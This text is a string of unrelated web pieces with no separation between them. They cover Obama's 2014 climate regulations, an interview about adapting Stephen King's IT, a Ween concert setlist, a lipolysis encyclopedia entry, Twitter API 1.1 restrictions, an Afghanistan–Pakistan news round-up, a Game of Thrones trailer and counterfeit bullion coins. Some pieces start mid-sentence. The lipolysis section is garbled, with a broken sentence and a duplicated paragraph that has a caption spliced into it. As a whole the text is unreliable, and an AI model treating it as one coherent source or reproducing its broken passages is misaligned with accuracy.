But the point was underscored far more dramatically, and by events the administration did not choreograph, six days later. The day began when a different group of scientists reported that the West Antarctic ice sheet has begun disintegrating irreversibly, a process that will hasten the continued rise of the oceans. That same afternoon, in Washington, the Senate considered a bipartisan bill to reduce energy costs through conservation—cuddly, corporate-friendly greening like energy-efficiency standards in buildings and smart meters. The proposal, sponsored by Republican Rob Portman and Democrat Jeanne Shaheen, was projected to save businesses and consumers a hundred billion dollars by eliminating wasted energy costs without creating any notable losers. The two senators had worked on versions of the bill for three and a half years, jettisoning any remotely controversial provisions, and gained the backing of the U.S. Chamber of Commerce, the National Association of Manufacturers, and other famous non-hippies. It contains all the lowest-hanging fruit of reduced carbon emissions. Republicans nonetheless filibustered it to death over the inclusion of controversial amendments that they hope could damage Democrats in the midterm elections but are unrelated to the bill’s workings.
Related Stories Obama’s Moment of Environmental Decision
Here is where the politics of climate change stand at the outset of Obama’s new climate offensive. The scientific consensus is stronger and more urgent than ever, while the political consensus is weaker than ever. Republicans are not even considering the notion of asking Americans to spend money to mitigate climate change, and are increasingly uncertain about the notion of even saving money to mitigate climate change. And into this simmering pot of reflexive opposition and anti-empiricism Obama will plop a highly ambitious and not very cuddly scheme to clean up the power-plant sector. It has already drawn strong opposition from the major business lobbies. It is likely to become the major point of conflagration of Obama’s second term.
As recently as a few months ago, it was preposterous to imagine that the midterm elections would revolve around anything but Obamacare. But the law, which last fall lay ailing while conservatives spoke openly about pulling the plug, has, to their dismay, bounded out of bed. It still polls badly, but not as badly as the Republican stance of repealing it. Republican officials occasionally muse in public of the need to accommodate the millions of newly insured, and though they are quickly slapped down by the dead-enders for such surrender talk, the waft of capitulation is in the air. After years of relentless pounding, Republicans in Congress currently have no votes or hearings scheduled on Obamacare.
The sudden renewal of the conservative Benghazi obsession arises, in part, from party leaders’ needing a new outrage to cover a quiet retreat from the Obamacare jihad. But the issue sits too far from everyday voter concerns to carry the party through to November. Obama’s new regulations can fill that vacuum once occupied by health care. As right-wing hate fodder, it may even exceed it. No specifics have yet leaked, but the general shape of the plan is widely known: Obama will announce new national guidelines limiting emissions for existing power plants, which account for 40 percent of all carbon-dioxide emissions. The plan both fulfills a generational goal of liberal social policy and stokes conservative fears of an unaccountable executive. It’s Obamacare and Benghazi rolled into one.
The timing of Obama’s announcement was dictated by the bureaucratic clock, not the electoral one. For the president to have his new system firmly in place by the time he departs the White House, he needs time to issue his proposal, take public comments, finalize it, defend it against inevitable legal challenges, and so on. Certain political advantages do present themselves. Since the law authorizing Obama’s plan has already passed Congress (the Clean Air Act, in 1970), there will be no drawn-out battle on the Hill like the one that bled the polls on health care. Americans do support, by a wide margin, regulating the greenhouse-gas emissions of power plants.
The debate will also reinvigorate a semi-dormant political liability for the Republican Party: a reputation for hostility to science. The first leak to spring open in the Nixon-Reagan-Bush electoral coalition was in 2000, with the defection of college-educated white voters who recoiled from the party’s deepening social populism. Democrats drew some blood starting in the 2004 election by assailing the Bush administration’s indifference to science. (This was also, perhaps, a polite way of expressing the widespread belief that the incumbent president was not a bright man.)
The run-up to Obama’s climate offensive has revived right-wing anti-scientism, which has grown more virulent in the intervening years. The legitimacy of climate science had taken root enough within the Republican Party that John McCain could advocate a cap-and-trade plan during his 2008 campaign. But polls have found that, even as scientists have become more certain of anthropogenic climate change, Republican skepticism has swelled. Even the most respectable conservative intellectuals talk about climate science the way John Birch enthusiasts railed against fluoridated water in the ’50s. Climate scientists further the hoax, George Will solemnly explained on a recent Fox News All-Star panel, because they “want money from the biggest source of direct research in this country, the federal government.” Fellow panelist Charles Krauthammer went further, painting the theory connecting the emission of heat-trapping molecules into the atmosphere with higher levels of heat as baseless faith. “It’s the oldest superstition around,” he observed. “It was in the Old Testament. It’s in the rain dance of the Native Americans.”
The likes of Will and Krauthammer have a way of rendering these sorts of fantastical pronouncements with an air of erudition. (That is why they are not mere Fox News panelists but Fox News All-Star panelists.) But ideas like these tend to come off as comical when echoed by younger or less practiced figures like Marco Rubio. (“What they have chosen to do is take a handful of decades of research and say that this is now evidence of a longer-term trend.”)
Still, Republicans are likely to have the better of the debate politically. Support for regulating carbon emissions may be broad, but it’s tissue-thin—Americans rank climate change near or at the bottom of their priorities. A 2011 survey found the amount an average American would pay in higher electricity costs for the sake of clean energy to be a pitiably low $162 a year. The absence of an extended, Obamacare-style legislative slog will help Obama’s case, but years of lengthy court battles won’t. Opponents may manage to sustain state-level challenges and overwhelming red-state resistance.
The grimmest contrast between power-plant regulation and health care is that regulating carbon emissions creates almost no winners. There will be no equivalent of the millions of people newly granted access to medical care, no heartwarming stories of long-suffering patients seeing a doctor for the first time in years. Climate regulation doesn’t create a benefit. It doesn’t even prevent a loss. Its only goal is to mitigate the extent of the damage.
And this is why, unlike carefully selected election-year issues like the minimum wage or equal pay, Obama is not picking this issue to help his party save Senate seats. He is doing this because, given the enormity of the stakes for centuries to come, there is no morally defensible alternative.
*This article appeared in the May 19, 2014 issue of New York Magazine.Veteran screenwriter Lawrence D.Cohen remembers making the original IT.
Throughout Hollywood history, many screenwriters have had the daunting task of adapting a critically acclaimed and much loved best seller into a workable shooting script and subsequent film. They are faced with having to modify certain passages from the preexisting material, omit certain events and sometimes completely change what goes on in the story, all to serve the nature of a filmic interpretation.
When the writer is a huge fan of the said novel, it may prove to be an even more intense job, but for Lawrence D. Cohen, who had previously penned the superlative screenplay for Stephen Kings CARRIE, taking on the celebrated authors monstrously sized novel that featured a group of misfit children battling a menacing evil embodied in a frightening killer clown was something to enjoy.
While fans are buzzing about the now in-production remake, SHOCK spoke with the original’s screenwriter to dissect what is now a horror classic.
SHOCK: How did you and fellow writer and director of the project Tommy Lee Wallace set out to adapt Stephen Kings mammoth book? What was decided early on? What are some examples of what was scrapped immediately, what was workshopped to fit in a miniseries format and what were definite keepers narrative wise?
COHEN: I had the good fortune of being hired as the writer very early onto the project by executive producers Frank Koenigsberg and Larry Sanitsky back in 1986 or 1987. Id written CARRIE, and they contacted my agent to ask if I might be interested in adapting this as a miniseries for ABC. I was living in New York, and they FedExed me this 1200 page manuscript that must have weighed four or five pounds! It was a doorstopper of a book so big it arrived in two separate packages. While daunting in sheer length, it was also thrilling in its very excess and ambitious time-span. I read the first dozen or so pages set in 1957 in which young brothers Bill and Georgie Denbrough are introduced, ending with Pennywise making his first appearance to claim Georgie as his victim. Thats followed by what seems to be an unrelated gay-bashing 28 years later, also involving Pennywise and, as with a lot of Steves stuff, I was totally hooked. I instantly saw the movie in my mind. Steves just a uniquely great storyteller and the events were so visual and visceral and emotional. Long story short, without reading another word, I said yes to adapting it. I hadnt felt this way since I read the first few pages of CARRIE with its similarly mosaic-like opening of the newspaper story of the stones falling on Carries house when she was a little girl, her period in the showers, and the scientific journal excerpt about telekinesis. I mean, damn, Stephen King knows how to hook the reader!
I raced through the rest of the book on a flight out to L.A. to meet with Frank and Larry and discuss an approach to adapting it. At that point, the sky was the limit there was no restriction as to how many hours the miniseries was going to be 8, 10, even 12 – and the guys already had George Romero in mind to direct. I thought he was a genius match for this particular piece. As the creator of NIGHT OF THE LIVING DEAD, he was an amazing talent in his own right, and given his prior King association with CREEPSHOW, he was a natural and sexy choice that further psyched me about wanting to do the project.
At ABC, we sat down with the Vice-President in charge of miniseries. She listened to my enthusiasm and thoughts about the material, and then said she only had one question what is It? I did my best to answer, and without a beat as if Id gotten the answer wrong, she asked again, yes, but what is It? I must have tried half a dozen answers a psychological manifestation of our worst fears, a shape-shifting horror monster, you name it – but every time I finished, shed ask again: What is It? What is It? It was like a comical version of that brilliant nightmare litany in MARATHON MAN in which Laurence Olivier keeps asking Dustin Hoffman Is it safe? Is it safe? before he pulls his teeth out. I never know what the answer she was looking for, but I kept my teeth and got the job.
I then worked with Romero on the project for the better part of a year, and that was incredibly gratifying to have the director whos actually going to make the piece involved that early in the writing process, especially a director like George who also had a first-rate screenwriters mind. We both quickly and excitedly realized that the book lent itself to what was then the exact miniseries format dividing up every night of two hours into seven acts, which turned out to be perfect because there were seven main characters in Steves story as kids and then as adults, and each could have his or her (in Bevs case) own little act.
Today, of course, there are virtually no more network miniseries aside from the occasional import like DOWNTOWN ABBEY, and precious few movies of the week and the few that remain seem to have commercial breaks every six minutes. But back in 1980s, it was a rich and gratifying form the luxury of presenting at length a true novel for television. George and I worked on a Bible for the piece laying out the entire story as a detailed blueprint with act breaks and everything. When we began, the plan was to run 10 hours. A little at a time, the network lost its nerve and cut back from 10 to 8 which started to worry us. While many miniseries are too long and outstay their welcome, this was IT – a horror magnum opus that deserved no, demanded – a marathon rather than a sprint. Four nights felt just about perfect still an event – only for us to learn it would now be six. At that point, we lost Romero who felt we were diluting the heft of what made IT Kings IT that if there ever was a case for more is more, IT was it! Finally, I think ABC was nervous about the whole risk and huge outlay of money, plus the thematic notion of children in jeopardy thats central to this piece and announced we wed be a 2-night, 4-hour event. Frank and Larry proceeded to have a disagreement with them and the financing entity over the license fee and budget at which the piece could be made well and bowed out as the projects active producers.
Somewhere during this phase after Romeros exit, Tommy Lee Wallace came in to meet with us, and was hired as director. He asked me to do a production rewrite, especially on the second half in which the adults return to Derry. At that point, though, Id moved on to write two other projects. Also, having the project cut down was worrying, and the prospect of working without my collaborators caused me to lose some of my initial excitement that we were doing something ground-breaking. I wished Tommy Lee and the project well, and moved on. Tommy Lee did a subsequent redraft himself, and we shared writing credit on Part II as adapters.
Long story short, the miniseries was telecast and went through the ratings roof, with People Magazine naming it one of the Top 10 television events of the year, and USA calling it the scariest movie ever made for TV. My favorite ironic postscript was that the head of Cap Cities, the parent company of ABC, did a subsequent interview in which he said his one wish for the year was that IT had been longer.
SHOCK: Was there a scene from Kings novel that had to be in the teleplay but just proved too difficult to churn out? What kind of writing process did you adopt in order to flog out this troublesome sequence?
COHEN: Truthfully, adapting Steve in general and in particular this huge book with its brilliant narrative idea and its grab bag full of goodies was a joy. My biggest regret was to have to eliminate scenes for length. Gorgeous set pieces and sequences that were expendable because the narrative could exist, strictly speaking, without them. There were a surfeit of riches, and it pained me to lose them.
In retrospect, the only scene that proved difficult, not to write, but to execute, was the final confrontation in which the identity of Pennywise under all his multiple faces is revealed to be spoiler alert – ta-da – a giant spider. All my usual fidelity in spirit if not in letter to Steves books, I think Id have tried to find a way to change this. Had I been on set during production, Im sure Id have said with all this time invested in the story, thats it or It thats the best youve got? After all of Pennywises ingenious shape-shifting manifestations, the actual reveal felt like a letdown. This was something Steve could get away with in the writing, but once it left the realm of the readers imagination and had to be actualized – and with only a meager television budget to boot – this super beast could never be on a par, say, with something like ALIEN. So much for regrets.
SHOCK: Was it fun to write Pennywise? How did you go about carefully blending his sadistic menace with maniacal comic frivolity?
COHEN: Writing him was some of the most sensational fun Ive had. One of the many things that Steve excels at is writing villains that give you nightmares be it the possessed Jack Torrance axing down the bedroom door in THE SHINING, Annie Wilkes wielding an axe in MISERY, Randall Flagg THE STAND or Margaret White with all her complexity as monster/mother insanity in CARRIE. Steves genius in IT was that he tapped into our childhood fear of clowns, and then treated him like a scene-stealing stand-up comic with sensational dialogue that I did my best to incorporate and preserve. He was a bigger-than-life, bravura role, and Tim Curry nailed him indelibly.
SHOCK: Which did you prefer to work on – writing the story concerning the adults or taking on the children element?
COHEN: The kids! They just killed me on the page! They made me believe in them, they made me care and suffer for them, and they made me cry. The truth is if there had never been an adult half to this novel, Id have jumped at the chance to put these kids on screen. Steves one of the best writers ever to capture childhood, period. Just think of the kids in STAND BY ME and how they still live in our hearts and minds. Even in his sixties, hes still utterly in touch with his childhood - with the magic and wonder and demons that come with that period in our lives. IT was his magnum opus about how as kid we all have imagination and power, but lose our way as adults in the world. This gang of Losers he created who come together to do battle against unspeakable evil were written with enormous skill and sensitivity, and the truth is, I could have just watched their story alone monster or no monster.
Next week, SHOCK delivers more exclusive IT goodness when we talk to director Tommy Lee Wallace…stay tuned!etree.org Community Bittorrent Tracker Artist Ween Show Ween 2/13/2016 1st Bank Center - Broomfield, CO (DPA 4018a) Report this as
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1st Bank Center - Broomfield, CO
Source: DPA 4018a(Back of SBD/[email protected]� 35cm/60deg)->Sonosax SX-M2->Mytek 192->HD-P2(24/96)->UV22HR(16/44.1)->xACT->FLAC
Recorded and transferred by Scott Schneider
Single Set(146:46):
1. Crowd
2. Pork Roll Egg and Cheese
3. Take Me Away
4. Transdermal Celebration
5. Back to Basom
6. Mister, Would You Please Help My Pony?
7. The Grobe
8. Stroker Ace
9. Object
10. Ice Castles
11. The Golden Eel
12. Happy Colored Marbles (3)
13. Kim Smoltz (1,2)
14. Tried and True (2)
15. Baby Bitch (2)
16. Help Me Scrape the Mucus Off My Brain (2)
17. Joppa Road (2)
18. I Don�t Want It (2)
19. Frank
20. She Fucks Me
21. Ocean Man
22. You Fucked Up
23. Poopship Destroyer
24. Transitions (1)
25. Ace of Spades
26. Laura
27. Zoloft
28. Dr. Rock
29. Encore break
30. (E)Pollo Asado
31. (E)Demon Sweat
(1) First Time Played
(2) Acoustic
(3) Confetti cannons went off right in front of microphones
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ottenWeapons
Cool Forgotten Weapons merch! http://shop.bbtv.com/collections/forgotten-weaponsLipolysis is the breakdown of lipids and involves hydrolysis of triglycerides into glycerol and free fatty acids. Predominantly occurring in adipose tissue, lipolysis is used to mobilize stored energy during fasting or exercise. Lipolysis is directly induced in adipocytes by glucagon,[1] epinephrine, norepinephrine, growth hormone, atrial natriuretic peptide, brain natriuretic peptide, and cortisol.[2]
Mechanisms [ edit ]
In adipose tissue, intracellular triglycerides are stored in cytoplasmic lipid droplets. When lipases are phosphorylated, they access lipid droplets and through multiple steps of hydrolysis, breakdown triglycerides into fatty acids and glycerol. Each step of hydrolysis leads to the removal of one fatty acid. The first step and the rate-limiting step of lipolysis is carried out by adipose triglyceride lipase (ATGL). This enzyme catalyzes the hydrolysis of triacylglycerol to diacylglycerol. Subsequently, hormone-sensitive lipase (HSL) catalyzes the hydrolysis of diacylglycerol to monoacylglycerol and monoacylglycerol lipase (MGL) catalyzes the hydrolysis of monoacylglycerol to glycerol.[3] Perilipin 1A is a key protein regulator of lipolysis in adipose tissue. This lipid droplet-associated protein, when deactivated, will prevent the interaction of lipases with triglycerides in the lipid droplet and grasp the ATGL co-activator, comparative gene identification 58 (CGI-58) (a.k.a. ABHD5). When perilipin 1A is phosphorylated by PKA, it releases CGI-58 and it expedites the docking of phosphorylated lipases to the lipid droplet.[4] CGI-58 can be further phosphorylated by PKA to assist in its dispersal to the cytoplasm. In the cytoplasm, CGI-58 can co-activate ATGL.[5] ATGL activity is also impacted by the negative regulator of lipolysis, G0/G1 switch gene 2 (G0S2). When expressed, G0S2 acts as a competitive inhibitor in the binding of CGI-58.[6] Fat-specific protein 27 (FSP-27) (a.k.a. CIDEC) is also a negative regulator of lipolysis. FSP-27 expression is negatively correlated with ATGL mRNA levels.[7]
Regulation [ edit ]
The cAMP activate
These lipases cleave free fatty acids from their attachment to glycerol in the lipid droplet of the adipocyte.
The free fatty acids and glycerol are then released into the blood.
The activity of hormone sensitive lipase is regulated by the circulating hormones, glucagon, Illustration of the activation of lipolysis in an adipocyte. induced by high epinephrine and low insulin levels in the blood. Epinephrine binds to beta-adrenergic receptors on the cell membrane of the adipocyte, which causes cAMP to be generated inside the cell.The cAMP activate protein kinases, which phosphorylate and thus, activate hormone-sensitive lipases in the adipocyte These lipases cleave free fatty acids from their attachment to glycerol in the lipid droplet of the adipocyte.The free fatty acids and glycerol are then released into the blood.The activity of hormone sensitive lipase is regulated by the circulating hormones, insulin norepinephrine, and epinephrine
Lipolysis can be regulated through cAMP's binding and activation of protein kinase A (PKA). PKA can phosphorylate lipases, perilipin 1A, and CGI-58 to increase the rate of lipolysis. Catecholamines bind to 7TM receptors (G protein-coupled receptors) on the adipocyte cell membrane, which activate adenylate cyclase. This results in increased production of cAMP, which activates PKA and leads to an increased rate of lipolysis. Insulin counter-regulates this increase in lipolysis when it binds to insulin receptors on the adipocyte cell membrane. Insulin receptors activate insulin-like receptor substrates. These substrates activate phosphoinositide 3-kinases (PI-3K) which then phosphorylate protein kinase B (PKB) (a.k.a. Akt). PKB subsequently phosphorylates phosphodiesterase 3B (PD3B) which converts cAMP, produced by adenylate cyclase, into 5'AMP. Due to the reduced levels of cAMP, insulin decreases the rate of lipolysis.[8] Insulin has additional actions in the mediobasal hypothalamus. It has been shown to suppress lipolysis due to lower sympathetic nervous outflow to white adipose tissue.[9] The regulation of this process involves interactions between insulin receptors and gangliosides present in the neuronal cell membrane.[10]
In blood [ edit ]
Triglycerides are transported through the blood to appropriate tissues (adipose, muscle, etc.) by lipoproteins such as Very-Low-Density-Lipoproteins (VLDL). Triglycerides present on the VLDL undergo lipolysis by the cellular lipases of target tissues, which yields glycerol and free fatty acids. Free fatty acids released into the blood are then available for cellular uptake.[11] Free fatty acids not immediately taken up by cells may bind to albumin for transport to surrounding tissues that require energy. Serum albumin is the major carrier of free fatty acids in the blood.[12] The glycerol also enters the bloodstream and is absorbed by the liver or kidney where it is converted to glycerol 3-phosphate by the enzyme glycerol kinase. Hepatic glycerol 3-phosphate is converted mostly into dihydroxyacetonephosphate (DHAP) and then glyceraldehyde 3-phosphate (GA3P) to rejoin the glycolysis and gluconeogenesis pathway.
Lipogenesis [ edit ]
While lipolysis is triglyceride hydrolysis (the process by which triglycerides are broken down), esterification is the process by which triglycerides are formed. Esterification and lipolysis are, in essence, reversals of one another.[13]
Medical procedures [ edit ]
Physical lipolysis involves destruction of fat cells containing the fat droplets and can be used as part of cosmetic body contouring procedures. Currently there are four main non-invasive body contouring techniques in aesthetic medicine for reducing localized subcutaneous adipose tissue in addition to the standard minimally invasive liposuction: low-level laser therapy (LLLT), cryolipolysis, radio frequency (RF) and high-intensity focused ultrasound (HIFU).[14][15]. However, they are less effective with shorter lasting benefits and can remove significantly smaller amounts of fat compared to traditional surgical liposuction or lipectomy. However, future drug developments can be potentially combined with smaller procedures to augment the final result.
References [ edit ]Twitter has posted some of their upcoming API-policy lockdowns and restrictions in this post from Michael Sippey, euphemistically titled “Changes coming in Version 1.1 of the Twitter API”.
First, from Twitter’s Display Guidelines, which will become requirements for all apps:
“Individual Tweet” section
Embedding tweets in a blog post in any way other than their dynamic embed code is effectively prohibited:
[3a] Reply, Retweet, and Favorite action icons must always be visible for the user to interact with the Tweet. [5b] “The Twitter logo or Follow button for the Tweet author must always be displayed in the top right corner.
I’m pretty sure this means that I can’t just display a tweet as a link and blockquote when I want to quote it here.
Sending links to Instapaper or its clones, viewing a tweet on Favstar, and certainly sharing links to tweets on other social services is probably prohibited:
[3b] No other social or 3rd party actions may be attached to a Tweet.
Whether email clients (“Email link”) and web browsers (“Open in Safari”) count as third-party actions is yet to be determined.
Zooming full-sized pic.twitter.com images in their own windows or screens is probably prohibited:
[6b] pic.twitter.com images may not be detached and displayed separately from the Tweet.
That also seems to prohibit apps that render only photos, such as gallery or photo-browsing apps. And it might create a Twitpic-ownership-like issue.
“Timelines” section
Rule groups 1–4 dictate tweet layout with very little flexibility. Timelines in all conforming clients will look extremely similar.
Rule 5a is far-reaching:
[5a] Tweets that are grouped together into a timeline should not be rendered with non-Twitter content. e.g. comments, updates from other networks.
In other words, apps cannot interleave chronological groups of Twitter posts with anything else.
This is very broad and will bite more services and apps than you may expect. It’s probably the clause that caused the dispute with LinkedIn, and why Flipboard CEO Mike McCue just left Twitter’s board.
Closer to home for me, it affects Instapaper’s “Liked By Friends” browsing feature, which will need to be significantly rewritten if I want it to comply. (If.)
Naturally, this also prohibits any client from interleaving posts from Twitter and App.net, or any other similar service, into a unified timeline.
“Requiring developers to work with us directly”
The rest of the “Changes” post is full of bad news for developers:
One of the key things we’ve learned over the past few years is that when developers begin to demand an increasingly high volume of API calls, we can guide them toward areas of value for users and their businesses. To that end, and similar to some other companies, we will require you to work with us directly if you believe your application will need more than one million individual user tokens.
How, exactly, will Twitter “guide” developers who are required to “work with them directly”? What exactly are “areas of value for users and [our] businesses”?
Translation: “Once you get big enough for us to notice, we’re going to require you to adhere to more strict, unpublished rules to make sure you don’t compete with us or take too much value from our network.”
And “big enough” might not be as big as you think:
Additionally, if you are building a Twitter client application that is accessing the home timeline, account settings or direct messages API endpoints (typically used by traditional client applications) or are using our User Streams product, you will need our permission if your application will require more than 100,000 individual user tokens.
Instapaper’s “Liked By Friends” feature reads timelines and will need more than 100,000 tokens. And that’s a relatively minor feature in a small web service run by one guy.
We will not be shutting down client applications that use those endpoints and are currently over those token limits. If your application already has more than 100,000 individual user tokens, you’ll be able to maintain and add new users to your application until you reach 200% of your current user token count (as of today) — as long as you comply with our Rules of the Road. Once you reach 200% of your current user token count, you’ll be able to maintain your application to serve your users, but you will not be able to add additional users without our permission.
Got a successful Twitter app or Twitter-integrated service already? Either “work with” Twitter quickly and make whatever changes they require before you get too many more users, or shut down.
Finally, there may also be additional changes to the Rules of the Road to reflect the functional changes in version 1.1 of the Twitter API that we’ve outlined here.
There will definitely be more rules that we’re not ready to discuss yet, possibly because we haven’t decided what they are yet, or possibly because we know you’re not going to like them.
For instance, I bet this is finally how clients will be required to display tweet ads. That requirement, probably worded roughly as “you must display every tweet in a timeline, and display them all consistently”, will also kill any clients’ filter and mute features.
Twitter for Mac and iPad
Twitter for iPhone has been thoroughly gutted of any traces of its Tweetie origins, and it’s clearly Twitter’s premiere client. (It probably gets more usage than their website.)
But Twitter’s own Mac and iPad apps, both also acquired as versions of Tweetie, haven’t been meaningfully updated in many months. Both lack significant features and have glaring bugs, and neither of them comply with the Display “Guidelines”.
Twitter’s inaction on these apps suggests that they’re probably going to be either discontinued entirely (most likely for Mac) or gutted and replaced with an interface more like their iPhone app (most likely for iPad).
Subjectivity and uncertainty
Twitter has left themselves a lot of wiggle-room with the rules. Effectively, Twitter can decide your app is breaking a (potentially vague) rule at any time, or they can add a new rule that your app inadvertently breaks, and revoke your API access at any time.
Of course, they’ve always had this power. But now we know that they’ll use it in ways that we really don’t agree with.
Anil Dash wants us to compare this to Apple’s App Store review process (while not using App.net if we’re white geeks, or something like that). The amount of power Twitter has over developers is similar to the App Store setup, but the incentives are completely different.
Many uses of Twitter’s platform compete with Twitter on some level. Twitter doesn’t need a lot of its nontrivial apps, and in fact, they’d be happier if most of them disappeared. Twitter’s rules continue to tighten to permit developers to add value to Twitter (mostly “Share on Twitter” features) but not get nearly as much out of it (e.g. piggyback on the social graph, display timelines, analyze aggregate data).
By comparison, Apple needs its apps much more than Twitter does, and Apple’s interests conflict much less with its developers’. Even its famous anticompetitive rules, such as the prohibition against “duplicating existing functionality”, have been minimally enforced and have actually diminished over time.
Furthermore, we know pretty well how Apple will behave and what sort of rules we’ll need to follow in the future. They’ve been consistent since the App Store’s launch. But Twitter has proven to be unstable and unpredictable, and any assurances they give about whether something will be permitted in the future have zero credibility.
I sure as hell wouldn’t build a business on Twitter, and I don’t think I’ll even build any nontrivial features on it anymore.
And if I were in the Twitter-client business, I’d start working on another product.AfPak round-up:
Taliban execute pregnant woman. Taliban insurgents flogged and publicly executed a pregnant Afghan widow for alleged adultery Saturday, according to reports.
The woman, Sanum Gul (also reported as Bibi Sanubar by DAWN), was killed in Badghis province in western Afghanistan Saturday morning, the provincial governor's spokesman said. After being held in captivity for three days and flogged 200 times, Gul -- whose age was given as both 35 and 47 in various reports -- was shot in the head three times, said Hashim Habibi, the district governor of Qades, also located in the province.
Though Habibi said Taliban commander Mohammaad Yousuf carried out the execution, a Taliban spokesman has since denied any involvement.
"We have not done anything like that in Badghis or any other province," the spokesman said, calling the report "propaganda" by foreigners and the Western-backed Afghan government.
Officials say Gul had been widowed for four years. She was accused of adultery for her relationship with an unnamed man, despite claims that the man had planned to marry her.
Various groups have since condemned the killing. [DAWN, CNN, AFP]
Karzai bashes "foreign advisors." Insisting that "we have the ability to rule and govern our country and we have our sovereignty," Afghan President Hamid Karzai called for a ban on private security firms, which protect many Western installations in the country. Karzai has not set a firm deadline for removing the firms but, according to his chief spokesman, wants them out "as soon as possible." The move escalates tensions between Kabul and Washington, which flared up last week after an Afghan anti-corruption force mentored by U.S. officials raided the home of Karzai's national security advisor. [WSJ]
Pakistan floods could sweep Taliban back to power. Before the Pakistan army's offensive in the Swat Valley last year, militants in the region held sway by capitalizing on residents' hostility to a government they saw as indifferent to their needs. With electricity "months away," and predictions that full reconstruction will take years to complete and cost billions more than the Pakistan government has, many officials are worried this will happen again. [WashPo]
Vietnam War scholar: "Unraveling" Afghan war is "déjà vu." But Gordon Goldstein, author of Lessons in Disaster, which received a rave review in 2008 from Richard Holbrooke, now U.S. Special Envoy to Afghanistan and Pakistan, and which President Obama says he keeps on his nightstand, thinks it won't be long before Obama decides to scale back America's presence in Afghanistan. "Obama never drank the Kool-Aid on the counterinsurgency case; that's why he gave McChrystal fewer troops than he wanted and set a date to start withdrawing," he says, adding, "This is illustrative of doubt and caution, of not wanting to be boxed in. That was Kennedy's signature style on Vietnam." [NYT]There are probably a couple hundred fan-made or entertainment-site made Game of Thrones series recaps out there as we heard toward the premiere of season six tomorrow, but you unless you want to spend a solid chunk of your day catching up on the last sixty episodes of the show, you might want to take a look at the only one that HBO has made itself.
The “series trailer” is a recap of sorts of the last six season, formatted in a way that more resembles a blockbuster movie trailer than anything for a TV show, but that’s the epic nature of Thrones I suppose. The trailer is incredibly adept at dodging around spoilers, as there isn’t a single character death from the show shown. Rather, its focus is on the main players of Game of Thrones and backstory of their characters, namely the Starks, the Lannisters, the White Walker invasion and Daenerys’ claim to the throne, mainly. Jon, Cersei, Arya, Tyrion and Dany get the most screen time, and given the five minute length, many characters are barely there at all like Littlefinger or Sam or Brienne. Even primary characters are only glimpsed like Sansa and Jaime.
Still, it’s a pretty solid look at the over-arching storylines of Game of Thrones since the start, and it’s the only one edited by HBO itself, so that aspect of it is top notch. I’d view it more as the ultimate hype trailer rather than anything that will explain every detail of the last six years. If you want one that’s an outright explainer, and less of a trailer, you might want to check out a decent one that GamesRadar made here. I think these are a bit tricky to make with HBO laying claim to the footage, but this is one of the betters ones I’ve found so far.
It’s fascinating to see how far we’ve come in the last sixty hours of this show, and I don’t think anyone has done a better job than HBO of putting it all together in one blockbuster small package like we see in this trailer. Watch it for yourself below, and I guarantee you’ll be twice as hyped for tomorrow night instantly.
Follow me on Twitter and on Facebook. Pick up my sci-fi novel series, The Earthborn Trilogy, which is now in print, online and on audiobook.Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
June 13, 2016, 4:09 PM GMT / Updated June 13, 2016, 4:09 PM GMT By Herb Weisbaum
In these uncertain economic times, you don't have to be a miser to consider putting some of your money into precious metals, and gold and silver coins are an easy way to do that.
But this increased demand for bullion coins — like the American Eagle, South African Krugerrand and Canadian Maple Leaf — has created a golden opportunity for forgers.
Counterfeit coins are “flooding the market at an astonishing rate,” and compromising the investments of collectors, according to the American Numismatic Association (ANA).
“It’s a very serious problem and it’s really scary,” said Rod Gillis, ANA’s education director. “With improved technology, the fakes are getting better. It’s gotten to the point where even people who deal with coins all the time may not be able to recognize a counterfeit coin right away.”
Read More: Florida Man Arrested in Theft of $5 Million in Gold
Another veteran coin dealer agrees.
“There’s a reliable supply of bogus coins coming from China into the U.S., and it has been getting more authentic-looking over the years,” said Brad Karoleff, a veteran coin dealer who owns Coins Plus in Cincinnati. “At first, they were laughable, but as they’ve become savvier, they’ve been making counterfeits that look much more like the real thing.”
Get fooled and you could pay $1,300 or more for a counterfeit one-ounce gold piece that’s worthless. And you may not discover you’ve been taken until you go to sell it and a dealer tells you that coin is a fake.
“It is clear there is an increase in the types of fakes sold by unscrupulous dealers,” Dana Samuelson, president of the Professional Numismatists Guild, said in a recent news release warning about the growing problem. “These sales of counterfeit coins are potentially a multi-million dollar problem for the public.”
Coin dealers and pawn shops are also being targeted. Eric Hoolahan, CEO of Bellevue Rare Coins, with several stores around the Seattle area, says criminals are buying these knock-off coins and trying to sell them to stores that may not know how to spot a fake.
“It doesn’t cost them much, so they don’t need to get top dollar,” Hoolahan said. “Even if they get a pawn shop to pay them half the market price, they’re doing great.”
How they do it
Brian Silliman, who has an online dealership, Brian Silliman Rare Coins, has been to China and seen the counterfeiting operations there.
“They take the actual image of the coin, use a graphics program to touch it up and then they send it to an engraving machine that cuts the die. They’re doing it just like the Chinese mint does, but it’s not the mint,” Silliman told NBC News.
Read More: Bunch of Bullion: Dealer Says Gold Coin Hoard Not from Heist
Most of the counterfeit coins are made from a base metal, like tungsten, that is plated with a little gold. This way it will pass the acid test that indicates gold. If it is well-made, the fake will weigh the same as the genuine piece, making it even harder to spot.
Coin expert Susan Headley recently noted in her post Inside A Chinese Coin Counterfeiting Ring on About.com that these counterfeiting operations are run like legal businesses. “There is no law in China against making these ‘replicas’ as long as they are sold as such,” she wrote.
There’s a new trick to fool buyers
William Gibbs, managing editor of Coin World, says some crooks are now putting their fake gold and silver coins into authentic-looking collector coin holders called slabs, complete with bogus bar codes and registration numbers. This makes it look like the coin has been authenticated by a reputable grading service.
“So even if you’re ordering a coin online that shows it’s in a slab from a reputable grading service, those holders could be fake,” said Gibbs said.
The only way to verify the slab is to call the grading company and give them the registration number.
Why isn’t something being done about this?
The Internet makes it easy for unscrupulous dealers to buy counterfeit gold and silver coins made in China.
“The bad guys are buying these fake coins by the hundreds on websites like Alibaba.com,” said Doug Davis, founder and president of the Numismatic Crime Information Center.
A lot of these fakes are then sold on eBay and Craigslist, or through newspaper ads that promise a great deal on gold or silver coins, Davis told NBC News.
It’s often difficult to get local police departments involved in these cases because they’re not coin experts and it’s often a challenge to decide if a crime has been committed.
Coin dealer Karoleff would like to see federal law enforcement agencies take a more proactive position.
Read More: Couple Smuggled Millions in 'Hell Money' Into the U.S., Officials Say
